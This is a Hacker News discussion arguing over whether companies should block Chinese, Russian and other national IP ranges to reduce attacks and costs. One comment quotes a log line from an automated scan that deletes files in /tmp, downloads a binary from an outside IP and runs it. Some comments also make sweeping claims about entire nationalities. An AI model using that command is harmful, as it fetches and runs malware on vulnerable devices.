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Comment by realistik1 | Hacker News Reader

The startup I work for blocks all of china, russia, belarus and serbian IP space, which saves us about $50kper month in bandwidth charges.

The absolutely first thing I do at every company and on every project is ask if I can block russia, china and belarussian IP space, and add all of their ASNs to the bogon list if we run our own bgp.

They are never customers to the businesses of the companies I work for, but they sure manage to harm our businesses.

Russisns mostly try to disrupt and steal because thats their foreign policy.

Chinese just try to destroy and censor. Worked at a company which hosted presentations, one of their 5 million presentations was critical of China. We received over 10,000 phone calls and close to a million emails in two days, and a sustained 10gbps ddos attack for a week.

Letting russia and china on the internet was a massive security mistake we should rectify. The world spends literally BILLIONS because chinarussia are frankly assholes online.

Edit: corrected $500k per month to $50kb per month.

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> Letting russia and china on the internet was a massive security mistake we should rectify.

Internet is decentralized in nature. Even if you tried to undo that, what's stopping anyone from bridging a non-CN/RU Intranet to CN/RU-Intranet.

More importantly: who is to decide that? Should now a US-based organization dictate who EU/JP/Africa can communicate with? Applying such decisions at such a low level will only result in the balkanization of the Internet.

And I totally agree with your approach, cost-reward of CN/RU links don't make sense for 99% of people. But blocking should *still* be optional (opt-in vs opt-out is another debate), becase for some (e.g. hardware, financial firms), the benefits of being able to communicate with China and Russia might outweigh the constant spam/attacks.

On a general note, why do people constantly try to impose their perspective on others? "This is bad for me/most, therefore should be banned for all."

> what's stopping anyone from bridging a non-CN/RU Intranet to CN/RU-Intranet.

If someone were considering this, here's a means to do it with 402s: https://github.com/lightninglabs/aperture

> Applying such decisions at such a low level will only result in the balkanization of the Internet

Are we not already there with states being able to dictate what is and isn't allowed?

We are, so arguably we don't need private entities joining in the wall building frenzy just yet.

Yes, but those are legal measures affecting higher levels of the OSI model, not low-levels technical blocks as OP implied.

Technical measures such as "not letting CN/RU on the Internet", involve at least blocking their IP space at BGP level (null routing as in China's Great Firewall), or even reallocating their IP space.

The Internet might be more or less fragmented at a high-level due to bureaucracy (see GDPR and HTTP Error 451 Unavailable for legal reasons or DNS blacklists), but at least everyone can pretty much agree where a public IP address points to.

Breaking up the very foundation of the Internet... that could get really messy and complicated.

The startup I work for hasn't ever had issues with any of the things you mentioned. What line of business is this, do you sell weapons to Ukraine or some such?

> absolutely first thing I do at every company and on every project is ask if I can [block various countries]

For side projects?! Blows my mind. This feels like the 2020s version of what used to be in chain emails "don't pick up this phone number or they'll eat your dog". People believe it because it works. They don't pick up the number and their dog wasn't eaten. Doesn't harm them, only the person who owns the number. Better be safe. Use ddos protection (it's free!) and centralize the world's traffic for your hobby website, don't trust your ISP that has a known profit model but rather pay for an additional VPN that promises not to work with law enforcement because that's obviously not shady, similar for using DoH from cloudflare (thanks mozilla for making that the default), etc. The Internet is becoming such a weird place.

I get annoyed when people block Tor, but at least that's somewhat understandable as there is no concept of abuse email addresses to reach out to. Blocking not just ISPs that don't play nice, but an entire country? Multiple? As the first thing you do, before a problem exists? In-sane.

Lots of garbage traffic comes from countries such as Russia, China, India, Brazil, etc and if you don't intend to sell anything to them it makes sense to just block them.

If you wrote your website in some shitty language and you need lots of server power just to serve the home page you will end up saving a lot of money from blocking those countries.

> If you wrote your website in some shitty language and you need lots of server power just to serve the home page you will end up saving a lot of money from blocking those countries.

At that point, might as well rethink the engineering happening at your company well before considering blocking countries' IP spaces, no?

how dare you besmirch react on hn

edit: i'll say it again too, test me.

You can do both.

As a cold business decision, just as it makes sense to fire customers who are more hassle than they are worth, it's also makes sense to block prospective customers who are more hassle than they are worth.

Of course, if you engineering is better, you can pick a different false-positive vs false negative trade-off.

It’s all a cost/benefit ratio. Even if the most efficient language is used, given a sufficient number of requests, it might make sense to block them no?

If you don't care about your paying customers ever traveling there and still wanting to use your service (or at least be able to unsubscribe from it without doing a chargeback), sure.

As a customer, I try to avoid any company that considers "blocking the bad countries" a reasonable security posture. If nothing else, it's usually indicative of other irrational and frustrating decisions that might hurt me later.

> The startup I work for hasn't ever had issues with any of the things you mentioned. What line of business is this, do you sell weapons to Ukraine or some such?

Well, not directly,but this is the first time I was morally willing to work in parallel to the defense industry.

My previous startups were fintech. The customer I had who was attacked by China was Slideshare. Ultimately they bent over for China, and blocked them for a year.

Setup an IPS on a server exposed to the net. Record all attacks for a month, then look up the IP addresses, then you will understand.

I worked in network security at banks for a decade, really Russia and China are responsible for millions of attacks against westerm infrastrucuture in this century causing $10s of billions of damage. It is war.

I’ve been in the industry for over 30 years and I’ve seem some shit. Russia once took Estonia offlone for over a month.

Cloudflare and every other CDN understand that China and Russia is a liability, thats wht they make it easy to null route them.

I've seen similar stuff in Publishing (news) and another big (popular) company at that time. Yes, Ru/Cn are not the only one, but if you work in security this is just one problem less to solve if you have those banned.

> I’ve been in the industry for over 30 years and I’ve seem some shit.

Then maybe you should reevaluate your cold war attitude on network security.

I hope your sites/companies/projects never get attacked by a hacker from an "evil" country that goes through the absolute minimum effort of tunneling through a VPN or botnet in the US...

> Setup an IPS on a server exposed to the net. Record all attacks for a month, then look up the IP addresses, then you will understand.

These "attacks" are automated scanners trying a bunch of SSH/Telnet credentials and five year old Netgear CVEs. Why are you worried about these? If you are vulnerable to them you have a serious problem because someone will try them from a BuyVM or Ecatel machine that is Western but more lenient towards scanning and then you will be compromised.

Just for a different perspective, here in the EU I get most of the attacks from US servers. Often times Google cloud or AWS.

But we can't block the IP space of the US for obvious reasons

Did you report it to Google/AWS? I feel like they would be proactive about removing malicious users, but whether expectations match reality is another question.

I did to Azure and Cloudflare. 0 responses. No one cares.

Disappointing! Thanks for the reply.

> I get most of the attacks from US servers. Often times Google cloud or AWS.

Yup.

The block $insert_country IP range "solution" is an outdated mentality that should have died off in the 90's.

These days most attacks originate from US/Western cloud and other rent-a-box providers.

They are a gift to attackers because they can hop around at the click of the button and they know the victims can't block the IP ranges because they're managed by US/Western organisations.

DDOS attacks tend to happen on a Command and Control basis, and again, good luck blocking US/Western ISP IP ranges because their customers won't be able to visit your website.

I have long given up on reporting to Google, AWS and others because nothing gets done, most of the time you get an automated message saying they just forward your Abuse report to the customer ... gee, thanks guys.

I agree that cloud providers are a blessing to attackers, but blocking russian, chinese and even generally SEA ip space is still a very effective way of stopping the bottom 70% of all attacks. Sure, they're trying such outdated methods that there is very little chance of them suceeding, but honestly when just banning china reduces sshd logs by 50% you wonder why you didn't do it sooner.

Are you sure you're blocking 70% of attacks? Or are attackers just starting there, and when they realise their attacks aren't working they go via AWS instead?

I can't imagine many people sufficiently motivated to launch a DDoS attack against you, yet not sufficiently motivated to switch to an attack method that will actually work.

Most attacks are using a shotgun approach. DDOS generally are targeted but even then just badly behaved scrapers or vulnerability scanners can add up to be like a DDOS.

An even quicker way to clean up SSH logs is to listen on a non standard port.

>> The block $insert_country IP range "solution" is an outdated mentality that should have died off in the 90's.

Maybe so. But it works really well. After blocking certain countries IP ranges / ASes, >70% of abuse we had to deal with just vanished.

Also there are other reasons to block: since the russians attacked Ukraine, business I work with no longer does business with russia, belarusia and few other countries as a matter of principle (and because of sanctions).

> After blocking certain countries IP ranges

Alright, can we just put this one to bed ?

When RIPE/APNIC/ARIN allocate a range of IPs, there is NOTHING in the terms and conditions that says "you can only use this in this geography". The legal range holder must be in the geography, but where they announce it is nobody's business.

The range is held by a range holder who are listed on the relevant database. But there is nothing stopping them using it outside their geography and there is nothing stopping them allocating it to a customer outside of their geography.

So when people talk about "blocking a country's IP ranges" they are talking about "blocking a random range of IP addresses that may or may not be used at all in a given country".

There is also no real control on the databases. Yes you are supposed to keep them truthful and up to date, but we've all been there looking for abuse contacts and, well ....

So if a Russian range-holder decides to "allocate" a sub-range to a "French" customer and records it as such on the RIPE database what are you going to do ? And if you're buying your "security" data from a third-party, what's your third-party database telling you ? is that sub-range French or Russian ?

Not forgetting of course that IP range != provider. I could foreseeably get an IP range from $bad_country X but announce it over BGP over $isp_from_friendly_country Y, maybe even using their ASN. So that would easily defeat your ASN blocking.

However many exceptions to the rule there may be, if it mitigates the number of rogue activity and you’re not doing business with those geographies, it’s still a net positive to your finances and cybersecurity.

Probably a better way to block IP ranges by geography is to block by address space announced/originating from an ASN.

When RIPE/APNIC/ARIN allocate a range of IPs, there is NOTHING in the terms and conditions that says "you can only use this in this geography"

That is not true, at least not any more. RIPE and ARIN specifically will cancel a companies account and remove their ASN if they announce the allocated CIDR blocks in the wrong region. We can very close to it at a former company. It was an honest mistake that someone was unaware of and it was reverted quickly. I can't speak for APNIC. There are probably people that have done this and not been caught for a while but they are much more vigilant now. I assumed because of a shortage of ipv4 blocks but there are probably other reasons.

Of course anyone can announce any networks but that is a good way to get blocked by peers. It has happened. I remember the PSINet debacle and a handful of others.

So you decided to punish average Belarusians (and "a few other countries" -- wtf???) because of actions of another country (whose military they're pretty much occupied by), which were initiated by the decision of one man. Got it.

From your incorrect spelling of the country's name (btw, your use of lowercase to demonstrate your contempt looks pathetic) I infer that you know close to nothing of Belarus and their relations with Russia and other countries.

I think I am beginning to understand what people in many Arab countries have been feeling for the past couple of decades. Your words about rule of law and human rights are cheap and, when it comes to the boogeyman of the day, mean nothing in practice. Have fun driving more people towards Putin and further balkanizing the internet. I know I lost a lot of respect for the West since the beginning of 2022.

not every american runs the country.

Most phishing attacks I've seen are hosted in the US too. I guess that's not only because the US is an absolute mammoth when it comes to Internet infrastructure that no one dares block its IPs, but also it has the cheapest rates for just about anything.

Yep. For many years, horrific American providers like C…C….ing had been super well-known effectively allow DDoS amplification attacks.

> The absolutely first thing I do at every company and on every project is ask if I can block russia, china and belarussian IP space

Sorry for the language, but fuck that attitude. I don't live in any of these countries, but I used to live in a large European one that still regularly gets blocked by US sites for no fathomable reason.

Maybe you should try using the internet from a VPN location outside the US to see how fun that is as a paying customer of the sites that are blocking you for your crime by association (if temporary physical presence can even be called that).

One time I couldn't even unsubscribe from a VOD streaming service that I had been subscribed to while on an assignment in the US once I was back in Europe because their entire website was just a big geoblocked mess, including account/subscription management. Of course they were still happy to take my money! Less egregious but still infuriating: OMNY, New York's open-loop transit payment system, just outright blocks me when trying to access my account from Europe. Have the people ever considered the scenario that a visitor might use their service and later need the receipts for e.g. an expense report? Sure enough, London's TfL does the same thing for the US.

I can't wait for the day that the decision makers responsible for this insanity get stuck on a business or holiday trip like that and realize how annoying this is – or even better, realize that things like VPNs and botnets exist and can obscure the source of any Internet traffic...

In my experience running large sites most attack traffic has come from EU and US hosts such as Choopa/Vultr, OVH, Hetzner, AWS etc followed closely by major domestic ISPs like Comcast. Any traffic at all from BRICs has been pretty low.

The post doesn't even mention any of the countries you whine about.

why do you disregard South Africa like that?

SA wasn’t in the original BRIC acronym. Ie the s stood for plural not South Africa

Wouldn't it be nice if all the ISPs got together and refused to route traffic from networks that ignored abuse complaints?

I suppose that would put cloudflare and anyone else doing ddos mitigation out of business.

When I worked at a small ISP and we would get complaints, we would block the user until we could reach them. Then let them online long enough to update their antivirus. I can't imagine Comcast committing to that, but it would be nice.

I'd love to see that, but I don't think it'd work because most people aren't capable enough to disinfect their machines and you can't just block their access to the internet.

I expect locked down devices like cell phones and tablets to be less problematic in that regard (but maybe that's not true at all), so maybe the home-botnet-issue will resolve itself as more and more people stop using personal computers?

I have no way to tell how the big Cloudproviders actually handle it. I've occasionally reported persistent phishing campaigns to SES & similar providers and never really got a reply. I've reported a DDOS to Azure and it took them 18 days or so to say "thanks, we'll forward it". If Microsoft and Amazon don't respond appropriately, how can we expect smaller ISPs to handle that?

> you can't just block their access to the internet

Or maybe that's the best thing you can do for them, perhaps preventing them from revealing even more passwords etc to the attacker.

> [...] maybe the home-botnet-issue will resolve itself as more and more people stop using personal computers?

Maybe – if there wasn't IoT/smart home devices...

Ah, yeah, I forgot about those. And with remotely triggered updates, you don't even need to get past the router to infect some fridge, you just take over the manufacturer's site (or wait until they let the domain expire...) and have the fridges come to you.

>Wouldn't it be nice if all the ISPs got together and refused to route traffic from networks that ignored abuse complaints?

Jesus, this reads like a prequel to Black Mirror episode.

> Wouldn't it be nice if all the ISPs got together and refused to route traffic from networks that ignored abuse complaints?

Is port scanning abuse? I don't think so but some babies on mailing lists love to spend all of their time writing handwritten abuse letters about it.

The US' foreign policy is to disrupt and steal as well, even to allies (the NSA engaged in industrial espionage on the Germany company Siemens).

Moreover, DDoS attacks orginating from the US are sometimes greater than Chinese originated attacks -- as recently as a year ago [1]

Also don't forget that some of the sketchiest providers on the internet are American, who routinely ignore abuse reports. NameCheap's abuse reports are almost never actioned, happily taking cash from scammers and spammers.

[1] https://blog.cloudflare.com/ddos-attack-trends-for-2022-q1/

Hilarious. Someone said block China and Russia, and we have a long response "USA bad! China not as bad!".

No mention of Russia, and the original poster probably has nothing to do with the US.

Here's the thing, China and Russia are the wild west of the internet. Someone starts to DDoS a UK IP from the US, and it gets shut down hard and fast.

Someone starts to DDoS from Russia or China, and reports are dropped on the floor. Same for hacking attempts.

And yes, if someone from Russia or China reports to me, errant acitivty, they are listened to.

There is absolutely no comparison. These zones are useless for most companies. No one in China or Russia is buying anything from much of the rest of the world. Russia spews more spam that the rest of the planet combined.

Dropping their IP space on the floor, is the smartest thing a startup can do.

And the manufactured outrage is hilarious. These two countries block everything they can already, meaning legit traffic is rare. The great firewall of China means few will visit your site anyhow.

Drop Russia, China, and even Brazil (whos network ops never ever ever respond to spam reports).

Your admin life will be immensely better, and it will cost you nothing, nada, zilch. All upside, zero downside.

> Drop Russia, China, and even Brazil (whos network ops never ever ever respond to spam reports).

I don't mean to be presumptuous but what is the benefit of this. Do you spend all day stressing when you see

    112.250.109.154 - - [14/Feb/2023:00:00:18 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws HTTP/1.1" 404 153 "-" "Hello, world"

in your Nginx logs? Actual financial fraud occurs using US residential proxies. Automated scanning occurs in those countries because they have a bunch of cheap insecure routers and IoT devices. Writing angry abuse reports all day is misdirected because the scanning device is probably some hacked Hikvision camera, not a master hacker. You'd be better off trying to get the C2 shut down.

So out of endless ways to ruin your day, you claim all financial fraud only comes from US proxies (?!?!?!), and ignore all other threats.

Completely untrue.

So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep?

And spam has 0 cost, right?

Read the equation again.. 0 downside, endless upside.

> So out of endless ways to ruin your day, you claim all financial fraud only comes from US proxies (?!?!?!), and ignore all other threats.

If you're referring to banking fraud I'm pretty sure the answer is mostly yes. Maybe sometimes fraudsters are lazy.

> So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep?

It does, I'm just saying it's almost entirely automated scans and bruteforce using default password combinations and several year old CVEs. If you are vulnerable to those you have bigger problems.

> And spam has 0 cost, right?

Unless you are running some ancient configuration the cost is lower than the amount of engineering work and mental capacity you appear to devoting to stopping it.

I'm not saying you shouldn't make the tradeoff or that it's wrong to do it, just that the amount of security you think you are gaining from it is not as high as you think.

I love it. Statements peppered with "almost" and "mostly". How if you are updated, well then you're golden, cause mostly it's old CVEs.

Which ignores that even 0.001% of traffic is a load of more skilled bad actors, this IP space is rotten to the core.

Throughout, I have stated 0 downside, all upside. Even one dedicated hacker gone, is a plus in this scenario. Even showing yourself to be actively, aggressively defending is a plus, if comparables are less guarded.

And you're bracketing the use case, others and I have been speaking of the generic. Many run MTAs, so cutting down on inbound spam and malware, pre-filtering is a plus.

Canning all this address space is a never lose, always win, plus plus plus.

Save yourself the grief. Hot potato it.

There’s also something beautifully awful about blocking entire countries due to the reputation their IP addresses have, while making strange, sweeping xenophobic statements about the people that live there, meanwhile a non-insignificant percentage of some of those attacks originate from the United States (e.g., the Mirai botnet that compromised hundreds of thousands of IoT devices and also held the CloudFlare record at one point was created by an American and operated from the U.S. despite many of the infected devices being located in some of these countries).

I don't think we are talking about national security spying, I am sure every country does this as much as they can.

This sounds more like stopping people who want to extort or even just mess with American companies or individuals. It doesn't really logic to me that US citizens are attempting to ransom Chinese businesses at a higher rate than the inverse.

I would add Turkey to that list. Many many years ago I had a kind of popular podcast about computer graphics and all of my grief was coming from Turkey. After I banned all of Turkey‘s IPs my drama was over. Occasionally I would get an email from someone saying they couldn’t listen to the episodes and I would explain to them why their country is blocked and they would say it’s not fair, I couldn’t disagree, its not fair but such is life.

I'm curious what kind of grief a country caused you for a podcast. What were they doing?

Constantly trying to get to the backend of the site and occasional ddos. Once one of them managed to deface the front page I had enough and just banned all of Turkey.

What were they upset about? "Computer graphics" doesn't sound like a controversial topic.

I think they just wanted to deface the site for hacker cred. This was a long time ago.

I would remove Turkey from that list. Because, Turks are turks and they should have their own category. Also, Why would turks specifically target a computer graphics podcast ? I don't think it makes sense at all...

I don’t know but when I blocked Turkey all the script kiddy attacks stopped. Honestly I don’t care about turkey, I just wanted the attacks to stop.

Fair is not the right word. Your house, your rules.

I develop and maintain 2 Internet faced products at the moment. One serves my own company the other serves my enterprise client. Neither has ever experienced DDOS (my own is about 10 years old). We do have our share of various bots pocking for vulnerabilities and sending us various spam. I'd say that US constitutes very healthy if not predominant portion of those.

>"Letting russia and china on the internet was a massive security mistake we should rectify. The world spends literally BILLIONS because chinarussia are frankly assholes online."

chinarussia are not run by best people for sure. Cutting them or any other country for that matter off the Internet I think is really stupid decision. As for the costs - I think the West in general and the US in particular were able for many decades reap an enormous rewards by having China people do the work for peanuts.

>Letting russia and china on the internet was a massive security mistake

Harm vs good assessment, anyone?

The world assessed that business with those countries would be good, and now they want to bring the world down to their level (dictatorship + censorship).

> Letting russia and china on the internet was a massive security mistake we should rectify.

I'm amazed that most of the comments are around the technical possibility/validity of the suggestion and not around this ridiculous bit of bigotry and isolationism.

The internet is successful because it is apolitical and universal. It is amazing it has stayed as unaffected by politics as it has - if it had been "invite only" for the US and maybe Europe it would not have taken off to the degree that it has and our industry would be orders of magnitude smaller.

Should I not be able to have a video call with a manufacturing partner in China? Should someone on a trip to see their family in Russia not be able to send email? Even Russia, which is behaving almost as badly as a country can, should be kept on the internet. That's how their citizens can know what's actually going on and keep the pressure on the government to stop.

>"...and not around this ridiculous bit of bigotry and isolationism"

It probably shows who the majority of posters are.

> Letting russia and china on the internet was a massive security mistake we should rectify.

Letting people like you manage servers was a massive mistake we should rectify.

As an innocent Russian, my hate for this shit burns like a thousand suns. Sometimes I'd follow some link, and I'd be greeted with a 403 for no good reason. For a get request. I'd have to turn my VPN on just to look at the damn thing.

At this point, I kinda wish it was technically impossible to deduce the country from an IP address.

> The world spends literally BILLIONS because chinarussia are frankly assholes online.

And? This is just money. Nothing irreplaceable.

If they'd respect abuse complaints things could be different, some do, but way too much is just very malicious.

In the context of email I heavily recommend requiring SPF (just to exist even!) on things originating from China, Russia and VPS providers.

Doesn’t deserve the downvotes. All of it is truth.

So much garbage connections originate from the mentioned countries. Worst yet, these countries have poor connections in some cases and generate so many retires that also waste resources.

I’m interested to hear how you

1) block 2 Tbps of attack traffic

2) save $500k per month in bandwidth charges since blocking at the border means you have to pay for the incoming bandwidth

DDoS don't only cost bandwidth.

OP literally said 500k of bandwidth charges.

And the person you replied to said "only".

Supposedly the traffic being blocked would have generated more outgoing traffic, costing more. Also, GP is managing their connections at the bgp level, meaning the requests don't ever hit their firewall, they just are unroutable from these countries ips.

BGP doesn’t work that way.

You cannot control who your prefix is announced to, unless you control all the paths on the Internet.

1. Not sure where you got 2tbps? I said 10gbps, but we use Alamai’s manages Prolexic ddos mitigation. At previous companies we would buy a half dozen of these, put them at different exchanges and buy transit from the biggest aggregators. This would cost about $4m to get started

2. I meant $50k per month, edited. This does not count loss of productivity.

Sound like you are probably just overpaying for bandwidth and/or DDoS protection.

>Letting russia and china on the internet was a massive security mistake we should rectify.

As a Russian,comments like this make me feel less and less interested in being friendly with the (generalized) West. If I'll always be seen as "one of the bad guys" for the crime of being born in a country and not wanting to shit on everything about it, then why even bother acting any other way?

> Chinese just try to destroy and censor. Worked at a company which hosted presentations, one of their 5 million presentations was critical of China. We received over 10,000 phone calls and close to a million emails in two days, and a sustained 10gbps ddos attack for a week.

Do you have any proof it had to do with the presentation? You're treating "China" as if it was one person.

> Letting russia and china on the internet was a massive security mistake we should rectify. The world spends literally BILLIONS because chinarussia are frankly assholes online.

China Unicom IPs trying to guess your root password over SSH is not a cyberwarfare campaign. China regularly takes down botnets (read https://blog.netlab.360.com/). It is a result of a bunch of cheap IoT devices with default passwords.

> Russisns mostly try to disrupt and steal because thats their foreign policy.

Great! Now Russians go straight to using a US residential proxy when they commit fraud because they see they are being blocked instead of silently raising their internal risk score or any of the 50 smarter things you could have done.

> which saves us about $50kper month in bandwidth charges.

How much is this in terabytes?

Why do they block Serbia? I work with a Serbian offshore team (Intens) and my understanding of Serbia is they have one foot in Russia and one in the rest of the world, kind of like Belarus (but the leader isn't in the pocket of Putin), but I haven't heard about DDoS or other attacks coming from Serbia.

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